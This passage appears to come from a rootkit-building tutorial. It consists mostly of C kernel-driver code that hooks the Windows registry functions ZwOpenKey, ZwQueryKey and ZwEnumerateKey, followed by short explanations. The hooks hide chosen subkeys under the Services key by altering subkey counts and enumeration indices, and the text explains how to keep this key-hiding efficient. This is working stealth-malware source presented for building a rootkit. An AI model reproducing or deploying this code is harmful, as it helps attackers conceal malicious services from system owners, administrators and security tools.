The file hookManager.c was modified to hook and implement the three registry key kernel hooks and call the key data initialization function. Here are the additions to HookKernel:
InitializeKeyTracking(); HOOK( ZwOpenKey, NewZwOpenKey, OldZwOpenKey ); HOOK( ZwQueryKey, NewZwQueryKey, OldZwQueryKey ); HOOK( ZwEnumerateKey, NewZwEnumerateKey, OldZwEnumerateKey );
And here are the five functions used to implement the three registry key kernel hooks:
// used by GetKeyName // Get a pointer to an object from its handle PVOID GetPointerByHandle( HANDLE handle ) { PVOID pKey; NTSTATUS status; status = ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ); if( !NT_SUCCESS( status ) ) return NULL; if( pKey ) ObDereferenceObject( pKey ); return pKey; } // used by NewZwOpenKey // Get a registry key's name from its handle void GetKeyName( HANDLE hKey, PUNICODE_STRING* ppKeyName ) { PVOID pKey = NULL; PUNICODE_STRING unicodeString; PCHAR pBuffer; ULONG length; NTSTATUS status; *ppKeyName = NULL; pKey = GetPointerByHandle( hKey ); if( pKey ) { pBuffer = (PCHAR)ExAllocatePool( NonPagedPool, MAXKEYNAMELENGTH * 2 + sizeof(UNICODE_STRING) ); if( pBuffer ) { memset( pBuffer, 0, MAXKEYNAMELENGTH * 2 + sizeof(UNICODE_STRING) ); unicodeString = (PUNICODE_STRING)pBuffer; RtlInitEmptyUnicodeString( unicodeString, (PWCHAR)((DWORD)unicodeString + sizeof(UNICODE_STRING)), MAXKEYNAMELENGTH * 2 ); status = ObQueryNameString( pKey, (POBJECT_NAME_INFORMATION)unicodeString, MAXKEYNAMELENGTH, &length ); if( status == STATUS_SUCCESS ) *ppKeyName = unicodeString; return; } } return; } // create an index that skips hidden subkeys // when the parent key is \\Services NTSTATUS NewZwOpenKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ) { int status; status = OldZwOpenKey( KeyHandle, DesiredAccess, ObjectAttributes ); if( status == STATUS_SUCCESS ) { // get the name of the key PUNICODE_STRING pKeyName = NULL; UNICODE_STRING servicesString = { 0 }; RtlInitUnicodeString( &servicesString, L"Services" ); GetKeyName( *KeyHandle, &pKeyName ); // create special index for the Services key if( pKeyName ) { // Using IsSameFile as IsSameKey function if( IsSameFile( &servicesString, pKeyName ) ) { DbgPrint("comint32: found g_servicesKey"); CreateHiddenKeyIndices( *KeyHandle ); } ExFreePool( pKeyName ); } } return status; } // return number of subkeys from special index // when the parent key is \\Services NTSTATUS NewZwQueryKey( IN HANDLE KeyHandle, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ) { int status; ULONG numberOfSubkeys = -1; status = OldZwQueryKey( KeyHandle, KeyInformationClass, KeyInformation, Length, ResultLength ); numberOfSubkeys = GetSubkeyCount( KeyHandle ); if( (status == STATUS_SUCCESS) && (numberOfSubkeys != -1) ) if( KeyFullInformation == KeyInformationClass ) if( KeyInformation ) ((KEY_FULL_INFORMATION*)KeyInformation)->SubKeys = numberOfSubkeys; return status; } // return special index values // when the parent key is \\Services NTSTATUS NewZwEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ) { int status; int new_index; new_index = GetNewIndex( KeyHandle, Index ); if( new_index != -1 ) Index = new_index; status = OldZwEnumerateKey( KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength ); return status; }
GetPointerByHandle and GetKeyName are used by NewZwOpenKey to prevent the mapping of every key in the registry. With the use of these functions, only registry keys named \Services need to be mapped, drastically increasing the efficiency of the key hiding algorithm. If you are working with a Home Edition of Windows XP, you may not understand the need for this extra step, but if you are working with Windows Server 2003, loaded with a system tray full of support services, you probably already know that the registry can be used extensively by newer operating systems - so much so that a simple key index algorithm can slow the system to a crawl, if not designed properly.
NewZwOpenKey is hooked to create a subkey index when the key name is \Services. The subkey index is specially crafted to skip all hidden subkeys.
NewZwQueryKey is hooked to return the number of subkeys minus the number of hidden subkeys.
NewZwEnumerateKey is hooked to return the index for a subkey, skipping all hidden subkeys.